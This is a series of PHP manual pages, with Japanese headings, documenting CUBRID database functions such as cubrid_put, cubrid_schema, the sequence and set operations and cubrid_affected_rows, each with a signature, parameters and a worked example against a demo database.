There are no user contributed notes for this page.


Update a column using OID

  • ≪ cubrid_prepare
  • cubrid_rollback ≫
  • PHP Manual
  • CUBRID 関数
  • Update a column using OID

cubrid_put

(PECL CUBRID >= 8.3.0)

cubrid_put — Update a column using OID

説明

cubrid_put ( resource $conn_identifier , string $oid , string $attr = ? , mixed $value ) : bool

The cubrid_put() function is used to update an attribute of the instance of the given oid.

You can update single attribute by using string data type to set attr. In such case, you can use integer, floating point or string type data for the value argument. To update multiple number of attributes, you can disregard the attr argument, and set value argument with associative array data type.

パラメータ

conn_identifier

Connection identifier.

oid

OID of the instance that you want to update.

attr

Name of the attribute that you want to update.

value

New value that you want to assign to the attribute.

返り値

true, when process is successful.

false, when process is unsuccessful.

例

例1 cubrid_put() example

<?php
$conn = cubrid_connect("localhost", 33000, "demodb", "dba");

@cubrid_execute($conn, "DROP TABLE foo");
cubrid_execute($conn, "CREATE TABLE foo(a int AUTO_INCREMENT, b set(int), c list(int), d char(10))");
cubrid_execute($conn, "INSERT INTO foo(a, b, c, d) VALUES(1, {1,2,3}, {11,22,33,333}, 'a')");
cubrid_execute($conn, "INSERT INTO foo(a, b, c, d) VALUES(2, {4,5,7}, {44,55,66,666}, 'b')");

$req = cubrid_execute($conn, "SELECT * FROM foo", CUBRID_INCLUDE_OID);

cubrid_move_cursor($req, 1, CUBRID_CURSOR_FIRST);
$oid = cubrid_current_oid($req);

$attr = cubrid_col_get($conn, $oid, "b");
var_dump($attr);

cubrid_put($conn, $oid, "b", array(2, 4, 8));

$attr = cubrid_col_get($conn, $oid, "b");
var_dump($attr);

cubrid_close_request($req);
cubrid_disconnect($conn);
?>

上の例の出力は以下となります。

array(3) {
  [0]=>
  string(1) "1"
  [1]=>
  string(1) "2"
  [2]=>
  string(1) "3"
}
array(3) {
  [0]=>
  string(1) "2"
  [1]=>
  string(1) "4"
  [2]=>
  string(1) "8"
}

参考

  • cubrid_get() - Get a column using OID
  • cubrid_set_add() - Insert a single element to set type column using OID
  • cubrid_set_drop() - Delete an element from set type column using OID
  • cubrid_seq_insert() - Insert an element to a sequence type column using OID
  • cubrid_seq_drop() - Delete an element from sequence type column using OID
  • cubrid_seq_put() - Update the element value of sequence type column using OID

User Contributed Notes

There are no user contributed notes for this page.


Roll back a transaction

  • ≪ cubrid_put
  • cubrid_schema ≫
  • PHP Manual
  • CUBRID 関数
  • Roll back a transaction

cubrid_rollback

(PECL CUBRID >= 8.3.0)

cubrid_rollback — Roll back a transaction

説明

cubrid_rollback ( resource $conn_identifier ) : bool

The cubrid_rollback() function executes rollback on the transaction pointed by conn_identifier, currently in progress.

Connection to server is closed after calling cubrid_rollback(). Connection handle, however, is still valid.

パラメータ

conn_identifier

Connection identifier.

返り値

true, when process is successful.

false, when process is unsuccessful.

例

例1 cubrid_rollback() example

<?php
$conn = cubrid_connect("127.0.0.1", 33000, "demodb", "dba");
cubrid_set_autocommit($conn,false);

@cubrid_execute($conn, "DROP TABLE publishers");

$sql = <<<EOD
CREATE TABLE publishers(
pub_id CHAR(3),
pub_name VARCHAR(20),
city VARCHAR(15),
state CHAR(2),
country VARCHAR(15)
)
EOD;

if (!cubrid_execute($conn, $sql)) {
    printf("Error facility: %d\nError code: %d\nError msg: %s\n", cubrid_error_code_facility(), cubrid_error_code(), cubrid_error_msg());

    cubrid_disconnect($conn);
    exit;
}

$req = cubrid_prepare($conn, "INSERT INTO publishers VALUES(?, ?, ?, ?, ?)");

$id_list = array("P01", "P02", "P03", "P04");
$name_list = array("Abatis Publishers", "Core Dump Books", "Schadenfreude Press", "Tenterhooks Press");
$city_list = array("New York", "San Francisco", "Hamburg", "Berkeley");
$state_list = array("NY", "CA", NULL, "CA");
$country_list = array("USA", "USA", "Germany", "USA");

for ($i = 0, $size = count($id_list); $i < $size; $i++) {
    cubrid_bind($req, 1, $id_list[$i]);
    cubrid_bind($req, 2, $name_list[$i]);
    cubrid_bind($req, 3, $city_list[$i]);
    cubrid_bind($req, 4, $state_list[$i]);
    cubrid_bind($req, 5, $country_list[$i]);

    if (!($ret = cubrid_execute($req))) {
        break;
    }
}

if (!$ret) {
    cubrid_rollback($conn);
} else {
    cubrid_commit($conn);

    $req = cubrid_execute($conn, "SELECT * FROM publishers");
    while ($result = cubrid_fetch_assoc($req)) {
        printf("%-3s %-20s %-15s %-3s %-15s\n",
            $result["pub_id"], $result["pub_name"], $result["city"], $result["state"], $result["country"]);
    }
}

cubrid_disconnect($conn);
?>

上の例の出力は以下となります。

P01 Abatis Publishers    New York        NY  USA
P02 Core Dump Books      San Francisco   CA  USA
P03 Schadenfreude Press  Hamburg             Germany
P04 Tenterhooks Press    Berkeley        CA  USA

参考

  • cubrid_commit() - Commit a transaction
  • cubrid_disconnect() - Close a database connection

User Contributed Notes

There are no user contributed notes for this page.


Get the requested schema information

  • ≪ cubrid_rollback
  • cubrid_seq_drop ≫
  • PHP Manual
  • CUBRID 関数
  • Get the requested schema information

cubrid_schema

(PECL CUBRID >= 8.3.0)

cubrid_schema — Get the requested schema information

説明

cubrid_schema ( resource $conn_identifier , int $schema_type , string $class_name = ? , string $attr_name = ? ) : array

The cubrid_schema() function is used to get the requested schema information from database. You have to designate class_name, if you want to get information on certain class, attr_name, if you want to get information on certain attribute (can be used only with CUBRID_ SCH_ATTR_PRIVILEGE).

The result of the cubrid_schema function is returned as a two-dimensional array (column (associative array) * row (numeric array)). The following tables shows types of schema and the column structure of the result array to be returned based on the schema type.

Result Composition of Each Type
Schema | Column Number | Column Name | Value
CUBRID_SCH_CLASS | 1 | NAME |
 | 2 | TYPE | 0:system class 1:vclass 2:class
CUBRID_SCH_VCLASS | 1 | NAME |
 | 2 | TYPE | 1:vclass
CUBRID_SCH_QUERY_SPEC | 1 | QUERY_SPEC |
CUBRID_SCH_ATTRIBUTE / CUBRID_SCH_CLASS_ATTRIBUTE | 1 | ATTR_NAME |
 | 2 | DOMAIN |
 | 3 | SCALE |
 | 4 | PRECISION |
 | 5 | INDEXED | 1:indexed
 | 6 | NOT NULL | 1:not null
 | 7 | SHARED | 1:shared
 | 8 | UNIQUE | 1:unique
 | 9 | DEFAULT |
 | 10 | ATTR_ORDER | base:1
 | 11 | CLASS_NAME |
 | 12 | SOURCE_CLASS |
 | 13 | IS_KEY | 1:key
CUBRID_SCH_METHOD / CUBRID_SCH_CLASS_METHOD | 1 | NAME |
 | 2 | RET_DOMAIN |
 | 3 | ARG_DOMAIN |
CUBRID_SCH_METHOD_FILE | 1 | METHOD_FILE |
CUBRID_SCH_SUPERCLASS / CUBRID_SCH_DIRECT_SUPER_CLASS / CUBRID_SCH_SUBCLASS | 1 | CLASS_NAME |
 | 2 | TYPE | 0:system class 1:vclass 2:class
CUBRID_SCH_CONSTRAINT | 1 | TYPE | 0:unique 1:index 2:reverse unique 3:reverse index
 | 2 | NAME |
 | 3 | ATTR_NAME |
 | 4 | NUM_PAGES |
 | 5 | NUM_KEYS |
 | 6 | PRIMARY_KEY | 1:primary key
 | 7 | KEY_ORDER | base:1
CUBRID_SCH_TRIGGER | 1 | NAME |
 | 2 | STATUS |
 | 3 | EVENT |
 | 4 | TARGET_CLASS |
 | 5 | TARGET_ATTR |
 | 6 | ACTION_TIME |
 | 7 | ACTION |
 | 8 | PRIORITY |
 | 9 | CONDITION_TIME |
 | 10 | CONDITION |
CUBRID_SCH_CLASS_PRIVILEGE / CUBRID_SCH_ATTR_PRIVILEGE | 1 | CLASS_NAME / ATTR_NAME |
 | 2 | PRIVILEGE |
 | 3 | GRANTABLE |
CUBRID_SCH_PRIMARY_KEY | 1 | CLASS_NAME |
 | 2 | ATTR_NAME |
 | 3 | KEY_SEQ | base:1
 | 4 | KEY_NAME |
CUBRID_SCH_IMPORTED_KEYS / CUBRID_SCH_EXPORTED_KEYS / CUBRID_SCH_CROSS_REFERENCE | 1 | PKTABLE_NAME |
 | 2 | PKCOLUMN_NAME |
 | 3 | FKTABLE_NAME | base:1
 | 4 | FKCOLUMN_NAME |
 | 5 | KEY_SEQ | base:1
 | 6 | UPDATE_ACTION | 0:cascade 1:restrict 2:no action 3:set null
 | 7 | DELETE_ACTION | 0:cascade 1:restrict 2:no action 3:set null
 | 8 | FK_NAME |
 | 9 | PK_NAME |

パラメータ

conn_identifier

Connection identifier.

schema_type

Schema data that you want to know.

class_name

Class you want to know the schema of.

attr_name

Attribute you want to know the schema of.

返り値

Array containing the schema information, when process is successful;

false, when process is unsuccessful

変更履歴

バージョン | 説明
8.3.1 | Change return value: when process is unsuccessful, return false, not -1.

例

例1 cubrid_schema() example

<?php
$conn = cubrid_connect("localhost", 33000, "demodb", "dba");

printf("\n--- Primary Key ---\n");
$pk = cubrid_schema($conn, CUBRID_SCH_PRIMARY_KEY, "game");
var_dump($pk);

printf("\n--- Foreign Keys ---\n");
$fk = cubrid_schema($conn, CUBRID_SCH_IMPORTED_KEYS, "game");
var_dump($fk);

printf("\n--- Column Attribute ---\n");
$attr = cubrid_schema($conn, CUBRID_SCH_ATTRIBUTE, "stadium", "area");
var_dump($attr);

cubrid_disconnect($conn);
?>

上の例の出力は以下となります。

--- Primary Key ---
array(3) {
  [0]=>
  array(4) {
    ["CLASS_NAME"]=>
    string(4) "game"
    ["ATTR_NAME"]=>
    string(12) "athlete_code"
    ["KEY_SEQ"]=>
    string(1) "3"
    ["KEY_NAME"]=>
    string(41) "pk_game_host_year_event_code_athlete_code"
  }
  [1]=>
  array(4) {
    ["CLASS_NAME"]=>
    string(4) "game"
    ["ATTR_NAME"]=>
    string(10) "event_code"
    ["KEY_SEQ"]=>
    string(1) "2"
    ["KEY_NAME"]=>
    string(41) "pk_game_host_year_event_code_athlete_code"
  }
  [2]=>
  array(4) {
    ["CLASS_NAME"]=>
    string(4) "game"
    ["ATTR_NAME"]=>
    string(9) "host_year"
    ["KEY_SEQ"]=>
    string(1) "1"
    ["KEY_NAME"]=>
    string(41) "pk_game_host_year_event_code_athlete_code"
  }
}

--- Foreign Keys ---
array(2) {
  [0]=>
  array(9) {
    ["PKTABLE_NAME"]=>
    string(7) "athlete"
    ["PKCOLUMN_NAME"]=>
    string(4) "code"
    ["FKTABLE_NAME"]=>
    string(4) "game"
    ["FKCOLUMN_NAME"]=>
    string(12) "athlete_code"
    ["KEY_SEQ"]=>
    string(1) "1"
    ["UPDATE_RULE"]=>
    string(1) "1"
    ["DELETE_RULE"]=>
    string(1) "1"
    ["FK_NAME"]=>
    string(20) "fk_game_athlete_code"
    ["PK_NAME"]=>
    string(15) "pk_athlete_code"
  }
  [1]=>
  array(9) {
    ["PKTABLE_NAME"]=>
    string(5) "event"
    ["PKCOLUMN_NAME"]=>
    string(4) "code"
    ["FKTABLE_NAME"]=>
    string(4) "game"
    ["FKCOLUMN_NAME"]=>
    string(10) "event_code"
    ["KEY_SEQ"]=>
    string(1) "1"
    ["UPDATE_RULE"]=>
    string(1) "1"
    ["DELETE_RULE"]=>
    string(1) "1"
    ["FK_NAME"]=>
    string(18) "fk_game_event_code"
    ["PK_NAME"]=>
    string(13) "pk_event_code"
  }
}

--- Column Attribute ---
array(1) {
  [0]=>
  array(13) {
    ["ATTR_NAME"]=>
    string(4) "area"
    ["DOMAIN"]=>
    string(1) "7"
    ["SCALE"]=>
    string(1) "2"
    ["PRECISION"]=>
    string(2) "10"
    ["INDEXED"]=>
    string(1) "0"
    ["NON_NULL"]=>
    string(1) "0"
    ["SHARED"]=>
    string(1) "0"
    ["UNIQUE"]=>
    string(1) "0"
    ["DEFAULT"]=>
    NULL
    ["ATTR_ORDER"]=>
    string(1) "4"
    ["CLASS_NAME"]=>
    string(7) "stadium"
    ["SOURCE_CLASS"]=>
    string(7) "stadium"
    ["IS_KEY"]=>
    string(1) "0"
  }
}

User Contributed Notes

There are no user contributed notes for this page.


Delete an element from sequence type column using OID

  • ≪ cubrid_schema
  • cubrid_seq_insert ≫
  • PHP Manual
  • CUBRID 関数
  • Delete an element from sequence type column using OID

cubrid_seq_drop

(PECL CUBRID >= 8.3.0)

cubrid_seq_drop — Delete an element from sequence type column using OID

説明

cubrid_seq_drop ( resource $conn_identifier , string $oid , string $attr_name , int $index ) : bool

The cubrid_seq_drop() function is used to delete an element you request from the given sequence type attribute in the database.

パラメータ

conn_identifier

Connection identifier.

oid

OID of the instance you want to work with.

attr_name

Name of the attribute that you want to delete an element from.

index

Index of the element that you want to delete (1-based).

返り値

true, when process is successful.

false, when process is unsuccessful.

例

例1 cubrid_seq_drop() example

<?php
$conn = cubrid_connect("localhost", 33000, "demodb", "dba");

@cubrid_execute($conn, "DROP TABLE foo");
cubrid_execute($conn, "CREATE TABLE foo(a int AUTO_INCREMENT, b set(int), c sequence(int), d char(10))");
cubrid_execute($conn, "INSERT INTO foo(a, b, c, d) VALUES(1, {1,2,3}, {11,22,33,333}, 'a')");

$req = cubrid_execute($conn, "SELECT * FROM foo", CUBRID_INCLUDE_OID);

cubrid_move_cursor($req, 1, CUBRID_CURSOR_FIRST);
$oid = cubrid_current_oid($req);

$attr = cubrid_col_get($conn, $oid, "c");
var_dump($attr);

cubrid_seq_drop($conn, $oid, "c", 4);

$attr = cubrid_col_get($conn, $oid, "c");
var_dump($attr);

cubrid_close_request($req);
cubrid_disconnect($conn);
?>

上の例の出力は以下となります。

array(4) {
  [0]=>
  string(2) "11"
  [1]=>
  string(2) "22"
  [2]=>
  string(2) "33"
  [3]=>
  string(3) "333"
}
array(3) {
  [0]=>
  string(2) "11"
  [1]=>
  string(2) "22"
  [2]=>
  string(2) "33"
}

参考

  • cubrid_seq_insert() - Insert an element to a sequence type column using OID
  • cubrid_seq_put() - Update the element value of sequence type column using OID

User Contributed Notes

There are no user contributed notes for this page.


Insert an element to a sequence type column using OID

  • ≪ cubrid_seq_drop
  • cubrid_seq_put ≫
  • PHP Manual
  • CUBRID 関数
  • Insert an element to a sequence type column using OID

cubrid_seq_insert

(PECL CUBRID >= 8.3.0)

cubrid_seq_insert — Insert an element to a sequence type column using OID

説明

cubrid_seq_insert ( resource $conn_identifier , string $oid , string $attr_name , int $index , string $seq_element ) : bool

The cubrid_col_insert() function is used to insert an element to a sequence type attribute in a requested location.

パラメータ

conn_identifier

Connection identifier.

oid

OID of the instance you want to work with.

attr_name

Name of the attribute you want to insert an instance to.

index

Location of the element, you want to insert the element to (1-based).

seq_element

Content of the element that you want to insert.

返り値

true, when process is successful.

false, when process is unsuccessful.

例

例1 cubrid_seq_insert() example

<?php
$conn = cubrid_connect("localhost", 33000, "demodb", "dba");

@cubrid_execute($conn, "DROP TABLE foo");
cubrid_execute($conn, "CREATE TABLE foo(a int AUTO_INCREMENT, b set(int), c sequence(int), d char(10))");
cubrid_execute($conn, "INSERT INTO foo(a, b, c, d) VALUES(1, {1,2,3}, {11,22,33,333}, 'a')");

$req = cubrid_execute($conn, "SELECT * FROM foo", CUBRID_INCLUDE_OID);

cubrid_move_cursor($req, 1, CUBRID_CURSOR_FIRST);
$oid = cubrid_current_oid($req);

$attr = cubrid_col_get($conn, $oid, "c");
var_dump($attr);

cubrid_seq_insert($conn, $oid, "c", 5, "44");

$attr = cubrid_col_get($conn, $oid, "c");
var_dump($attr);

cubrid_close_request($req);
cubrid_disconnect($conn);
?>

上の例の出力は以下となります。

array(4) {
  [0]=>
  string(2) "11"
  [1]=>
  string(2) "22"
  [2]=>
  string(2) "33"
  [3]=>
  string(3) "333"
}
array(5) {
  [0]=>
  string(2) "11"
  [1]=>
  string(2) "22"
  [2]=>
  string(2) "33"
  [3]=>
  string(3) "333"
  [4]=>
  string(2) "44"
}

参考

  • cubrid_seq_drop() - Delete an element from sequence type column using OID
  • cubrid_seq_put() - Update the element value of sequence type column using OID

User Contributed Notes

There are no user contributed notes for this page.


Update the element value of sequence type column using OID

  • ≪ cubrid_seq_insert
  • cubrid_set_add ≫
  • PHP Manual
  • CUBRID 関数
  • Update the element value of sequence type column using OID

cubrid_seq_put

(PECL CUBRID >= 8.3.0)

cubrid_seq_put — Update the element value of sequence type column using OID

説明

cubrid_seq_put ( resource $conn_identifier , string $oid , string $attr_name , int $index , string $seq_element ) : bool

The cubrid_seq_put() function is used to update the content of the requested element in a sequent type attribute using OID.

パラメータ

conn_identifier

Connection identifier.

oid

OID of the instance you want to work with.

attr_name

Name of the attribute that you want to update an element.

index

Index (1-based) of the element that you want to update.

seq_element

New content that you want to use for the update.

返り値

true, when process is successful.

false, when process is unsuccessful.

例

例1 cubrid_seq_put() example

<?php
$conn = cubrid_connect("localhost", 33000, "demodb", "dba");

@cubrid_execute($conn, "DROP TABLE foo");
cubrid_execute($conn, "CREATE TABLE foo(a int AUTO_INCREMENT, b set(int), c sequence(int), d char(10))");
cubrid_execute($conn, "INSERT INTO foo(a, b, c, d) VALUES(1, {1,2,3}, {11,22,33,333}, 'a')");

$req = cubrid_execute($conn, "SELECT * FROM foo", CUBRID_INCLUDE_OID);

cubrid_move_cursor($req, 1, CUBRID_CURSOR_FIRST);
$oid = cubrid_current_oid($req);

$attr = cubrid_col_get($conn, $oid, "c");
var_dump($attr);

cubrid_seq_put($conn, $oid, "c", 1, "111");

$attr = cubrid_col_get($conn, $oid, "c");
var_dump($attr);

cubrid_close_request($req);
cubrid_disconnect($conn);
?>

上の例の出力は以下となります。

array(4) {
  [0]=>
  string(2) "11"
  [1]=>
  string(2) "22"
  [2]=>
  string(2) "33"
  [3]=>
  string(3) "333"
}
array(4) {
  [0]=>
  string(3) "111"
  [1]=>
  string(2) "22"
  [2]=>
  string(2) "33"
  [3]=>
  string(3) "333"
}

参考

  • cubrid_seq_drop() - Delete an element from sequence type column using OID
  • cubrid_seq_insert() - Insert an element to a sequence type column using OID

User Contributed Notes

There are no user contributed notes for this page.


Insert a single element to set type column using OID

  • ≪ cubrid_seq_put
  • cubrid_set_autocommit ≫
  • PHP Manual
  • CUBRID 関数
  • Insert a single element to set type column using OID

cubrid_set_add

(PECL CUBRID >= 8.3.0)

cubrid_set_add — Insert a single element to set type column using OID

説明

cubrid_set_add ( resource $conn_identifier , string $oid , string $attr_name , string $set_element ) : bool

The cubrid_set_add() function is used to insert a single element to a set type attribute (set, multiset, sequence) you requested.

パラメータ

conn_identifier

Connection identifier.

oid

OID of the instance you want to work with.

attr_name

Name of the attribute you want to insert an element.

set_element

Content of the element you want to insert.

返り値

true, when process is successful.

false, when process is unsuccessful.

例

例1 cubrid_set_add() example

<?php
$conn = cubrid_connect("localhost", 33000, "demodb", "dba");

@cubrid_execute($conn, "DROP TABLE foo");
cubrid_execute($conn, "CREATE TABLE foo(a int AUTO_INCREMENT, b set(int), c list(int), d char(10))");
cubrid_execute($conn, "INSERT INTO foo(a, b, c, d) VALUES(1, {1,2,3}, {11,22,33,333}, 'a')");

$req = cubrid_execute($conn, "SELECT * FROM foo", CUBRID_INCLUDE_OID);

cubrid_move_cursor($req, 1, CUBRID_CURSOR_FIRST);
$oid = cubrid_current_oid($req);

$attr = cubrid_col_get($conn, $oid, "b");
var_dump($attr);

cubrid_set_add($conn, $oid, "b", "4");

$attr = cubrid_col_get($conn, $oid, "b");
var_dump($attr);

cubrid_close_request($req);
cubrid_disconnect($conn);
?>

上の例の出力は以下となります。

array(3) {
  [0]=>
  string(1) "1"
  [1]=>
  string(1) "2"
  [2]=>
  string(1) "3"
}
array(4) {
  [0]=>
  string(1) "1"
  [1]=>
  string(1) "2"
  [2]=>
  string(1) "3"
  [3]=>
  string(1) "4"
}

参考

  • cubrid_seq_drop() - Delete an element from sequence type column using OID

User Contributed Notes

There are no user contributed notes for this page.


Set autocommit mode of the connection

  • ≪ cubrid_set_add
  • cubrid_set_db_parameter ≫
  • PHP Manual
  • CUBRID 関数
  • Set autocommit mode of the connection

cubrid_set_autocommit

(PECL CUBRID >= 8.4.0)

cubrid_set_autocommit — Set autocommit mode of the connection

説明

cubrid_set_autocommit ( resource $conn_identifier , bool $mode ) : bool

The cubrid_set_autocommit() function is used to set the CUBRID database auto-commit mode of the current database connection.

In CUBRID PHP, auto-commit mode is disabled by default for transaction management. When auto-commit mode is truned from off to on, any pending work is automatically committed.

パラメータ

conn_identifier

Connection identifier.

mode

Auto-commit mode. The following constants can be used:

  • CUBRID_AUTOCOMMIT_FALSE
  • CUBRID_AUTOCOMMIT_TRUE

返り値

true, when process is successful.

false, when process is unsuccessful.

参考

  • cubrid_get_autocommit() - Get auto-commit mode of the connection
  • cubrid_commit() - Commit a transaction

User Contributed Notes

There are no user contributed notes for this page.


Sets the CUBRID database parameters

  • ≪ cubrid_set_autocommit
  • cubrid_set_drop ≫
  • PHP Manual
  • CUBRID 関数
  • Sets the CUBRID database parameters

cubrid_set_db_parameter

(PECL CUBRID >= 8.4.0)

cubrid_set_db_parameter — Sets the CUBRID database parameters

説明

cubrid_set_db_parameter ( resource $conn_identifier , int $param_type , int $param_value ) : bool

The cubrid_set_db_parameter() function is used to set the CUBRID database parameters. It can set the following CUBRID database parameters:

  • PARAM_ISOLATION_LEVEL
  • PARAM_LOCK_TIMEOUT

注意:

The auto-commit mode can be set by using cubrid_set_autocommit().

パラメータ

conn_identifier

The CUBRID connection. If the connection identifier is not specified, the last link opened by cubrid_connect() is assumed.

param_type

Database parameter type.

param_value

Isolation level value (1-6) or lock timeout (in seconds) value.

返り値

true on success.

false on failure.

例

例1 cubrid_get_db_parameter() example

<?php
$conn = cubrid_connect("localhost", 33000, "demodb", "dba");

$params = cubrid_get_db_parameter($conn);
var_dump($params);

cubrid_set_autocommit($conn, CUBRID_AUTOCOMMIT_TRUE);
cubrid_set_db_parameter($conn, CUBRID_PARAM_ISOLATION_LEVEL, 2);

$params_new = cubrid_get_db_parameter($conn);
var_dump($params_new);

cubrid_disconnect($conn);
?>

上の例の出力は以下となります。

array(4) {
  ["PARAM_ISOLATION_LEVEL"]=>
  int(3)
  ["PARAM_LOCK_TIMEOUT"]=>
  int(-1)
  ["PARAM_MAX_STRING_LENGTH"]=>
  int(1073741823)
  ["PARAM_AUTO_COMMIT"]=>
  int(0)
}
array(4) {
  ["PARAM_ISOLATION_LEVEL"]=>
  int(2)
  ["PARAM_LOCK_TIMEOUT"]=>
  int(-1)
  ["PARAM_MAX_STRING_LENGTH"]=>
  int(1073741823)
  ["PARAM_AUTO_COMMIT"]=>
  int(1)
}

参考

  • cubrid_get_db_parameter() - Returns the CUBRID database parameters
  • cubrid_set_autocommit() - Set autocommit mode of the connection

User Contributed Notes

There are no user contributed notes for this page.


Delete an element from set type column using OID

  • ≪ cubrid_set_db_parameter
  • cubrid_set_query_timeout ≫
  • PHP Manual
  • CUBRID 関数
  • Delete an element from set type column using OID

cubrid_set_drop

(PECL CUBRID >= 8.3.0)

cubrid_set_drop — Delete an element from set type column using OID

説明

cubrid_set_drop ( resource $conn_identifier , string $oid , string $attr_name , string $set_element ) : bool

The cubrid_set_drop() function is used to delete an element that you request from the given set type (set, multiset) attribute of the database.

パラメータ

conn_identifier

Connection identifier.

oid

OID of the instance you want to work with.

attr_name

Name of the attribute you want to delete an element from.

set_element

Content of the element you want to delete.

返り値

true, when process is successful.

false, when process is unsuccessful.

例

例1 cubrid_set_drop() example

<?php
$conn = cubrid_connect("localhost", 33000, "demodb", "dba");

@cubrid_execute($conn, "DROP TABLE foo");
cubrid_execute($conn, "CREATE TABLE foo(a int AUTO_INCREMENT, b set(int), c list(int), d char(10))");
cubrid_execute($conn, "INSERT INTO foo(a, b, c, d) VALUES(1, {1,2,3}, {11,22,33,333}, 'a')");

$req = cubrid_execute($conn, "SELECT * FROM foo", CUBRID_INCLUDE_OID);

cubrid_move_cursor($req, 1, CUBRID_CURSOR_FIRST);
$oid = cubrid_current_oid($req);

$attr = cubrid_col_get($conn, $oid, "b");
var_dump($attr);

cubrid_set_drop($conn, $oid, "b", "1");

$attr = cubrid_col_get($conn, $oid, "b");
var_dump($attr);

cubrid_close_request($req);
cubrid_disconnect($conn);
?>

上の例の出力は以下となります。

array(3) {
  [0]=>
  string(1) "1"
  [1]=>
  string(1) "2"
  [2]=>
  string(1) "3"
}
array(2) {
  [0]=>
  string(1) "2"
  [1]=>
  string(1) "3"
}

参考

  • cubrid_set_add() - Insert a single element to set type column using OID

User Contributed Notes

There are no user contributed notes for this page.


Set the timeout time of query execution

  • ≪ cubrid_set_drop
  • cubrid_version ≫
  • PHP Manual
  • CUBRID 関数
  • Set the timeout time of query execution

cubrid_set_query_timeout

(PECL CUBRID >= 8.4.1)

cubrid_set_query_timeout — Set the timeout time of query execution

説明

cubrid_set_query_timeout ( resource $req_identifier , int $timeout ) : bool

The cubrid_set_query_timeout() function is used to set the timeout time of query execution.

パラメータ

req_identifier

Request identifier.

timeout

Timeout time, unit of msec.

返り値

true, when process is successful.

false, when process is unsuccessful.

参考

  • cubrid_get_query_timeout() - Get the query timeout value of the request

User Contributed Notes

There are no user contributed notes for this page.


Get the CUBRID PHP module's version

  • ≪ cubrid_set_query_timeout
  • CUBRID MySQL 互換関数 ≫
  • PHP Manual
  • CUBRID 関数
  • Get the CUBRID PHP module's version

cubrid_version

(PECL CUBRID >= 8.3.0)

cubrid_version — Get the CUBRID PHP module's version

説明

cubrid_version ( ) : string

The cubrid_version() function is used to get the CUBRID PHP module's version.

パラメータ

この関数にはパラメータはありません。

返り値

Version information (eg. "8.3.1.0001").

例

例1 cubrid_version() example

<?php
printf("%-30s %s\n", "CUBRID PHP Version:", cubrid_version());

printf("\n");

$conn = cubrid_connect("localhost", 33088, "demodb", "dba");

if (!$conn) {
    die('Connect Error ('. cubrid_error_code() .')' . cubrid_error_msg());
}

$db_params = cubrid_get_db_parameter($conn);

while (list($param_name, $param_value) = each($db_params)) {
    printf("%-30s %s\n", $param_name, $param_value);
}

printf("\n");

$server_info = cubrid_get_server_info($conn);
$client_info = cubrid_get_client_info();

printf("%-30s %s\n", "Server Info:", $server_info);
printf("%-30s %s\n", "Client Info:", $client_info);

printf("\n");

$charset = cubrid_get_charset($conn);

printf("%-30s %s\n", "CUBRID Charset:", $charset);

cubrid_disconnect($conn);

?>

上の例の出力は以下となります。

CUBRID PHP Version:            9.1.0.0001

PARAM_ISOLATION_LEVEL          3
LOCK_TIMEOUT                   -1
MAX_STRING_LENGTH              1073741823
PARAM_AUTO_COMMIT              1

Server Info:                   9.1.0.0212
Client Info:                   9.1.0

CUBRID Charset:                iso8859-1

参考

  • cubrid_error_code() - Get error code for the most recent function call
  • cubrid_error_code_facility() - Get the facility code of error

User Contributed Notes

There are no user contributed notes for this page.


CUBRID MySQL 互換関数

目次

  • cubrid_affected_rows — Return the number of rows affected by the last SQL statement
  • cubrid_client_encoding — Return the current CUBRID connection charset
  • cubrid_close — Close CUBRID connection
  • cubrid_data_seek — Move the internal row pointer of the CUBRID result
  • cubrid_db_name — Get db name from results of cubrid_list_dbs
  • cubrid_errno — Return the numerical value of the error message from previous CUBRID operation
  • cubrid_error — Get the error message
  • cubrid_fetch_array — Fetch a result row as an associative array, a numeric array, or both
  • cubrid_fetch_assoc — Return the associative array that corresponds to the fetched row
  • cubrid_fetch_field — Get column information from a result and return as an object
  • cubrid_fetch_lengths — Return an array with the lengths of the values of each field from the current row
  • cubrid_fetch_object — Fetch the next row and return it as an object
  • cubrid_fetch_row — Return a numerical array with the values of the current row
  • cubrid_field_flags — Return a string with the flags of the given field offset
  • cubrid_field_len — Get the maximum length of the specified field
  • cubrid_field_name — Return the name of the specified field index
  • cubrid_field_seek — Move the result set cursor to the specified field offset
  • cubrid_field_table — Return the name of the table of the specified field
  • cubrid_field_type — Return the type of the column corresponding to the given field offset
  • cubrid_list_dbs — Return an array with the list of all existing CUBRID databases
  • cubrid_num_fields — Return the number of columns in the result set
  • cubrid_ping — Ping a server connection or reconnect if there is no connection
  • cubrid_query — Send a CUBRID query
  • cubrid_real_escape_string — Escape special characters in a string for use in an SQL statement
  • cubrid_result — Return the value of a specific field in a specific row
  • cubrid_unbuffered_query — Perform a query without fetching the results into memory

User Contributed Notes

There are no user contributed notes for this page.


Return the number of rows affected by the last SQL statement

  • ≪ CUBRID MySQL 互換関数
  • cubrid_client_encoding ≫
  • PHP Manual
  • CUBRID MySQL 互換関数
  • Return the number of rows affected by the last SQL statement

cubrid_affected_rows

(PECL CUBRID >= 8.3.0)

cubrid_affected_rows — Return the number of rows affected by the last SQL statement

説明

cubrid_affected_rows ( resource $conn_identifier = ? ) : int
cubrid_affected_rows ( resource $req_identifier = ? ) : int

The cubrid_affected_rows() function is used to get the number of rows affected by the SQL statement (INSERT, DELETE, UPDATE).

パラメータ

conn_identifier

The CUBRID connection. If the connection identifier is not specified, the last link opend by cubrid_connect() is assumed.

req_identifier

Request Identifier, could be returned from either cubrid_prepare() or cubrid_execute(). If the request identifier is not specified, the last identifier requested by cubrid_prepare() or cubrid_execute() is assumed.

返り値

Number of rows affected by the SQL statement, when process is successful.

-1, when SQL statement is not INSERT, DELETE or UPDATE.

false, when the request identifier is not specified, and there is no last request.

例

例1 cubrid_affected_rows() example

<?php
$conn = cubrid_connect('localhost', 33000, 'demodb', 'dba', '');
cubrid_execute($conn, "DROP TABLE IF EXISTS cubrid_test");
cubrid_execute($conn, "CREATE TABLE cubrid_test (d varchar)");
$sql_stmt = "INSERT INTO cubrid_test(d) VALUES('php-test')";
$req = cubrid_prepare($conn, $sql_stmt);

for ($i = 0; $i < 10; $i++) {
    cubrid_execute($req);
}
cubrid_commit($conn);

$req = cubrid_execute($conn, "DELETE FROM cubrid_test WHERE d='php-test'", CUBRID_ASYNC);
var_dump(cubrid_affected_rows());
var_dump(cubrid_affected_rows($conn));
var_dump(cubrid_affected_rows($req));

cubrid_disconnect($conn);

print "done!";
?>

上の例の出力は以下となります。

Rows deleted: 5

参考

  • cubrid_execute() - Execute a prepared SQL statement

User Contributed Notes

There are no user contributed notes for this page.


Return the current CUBRID connection charset

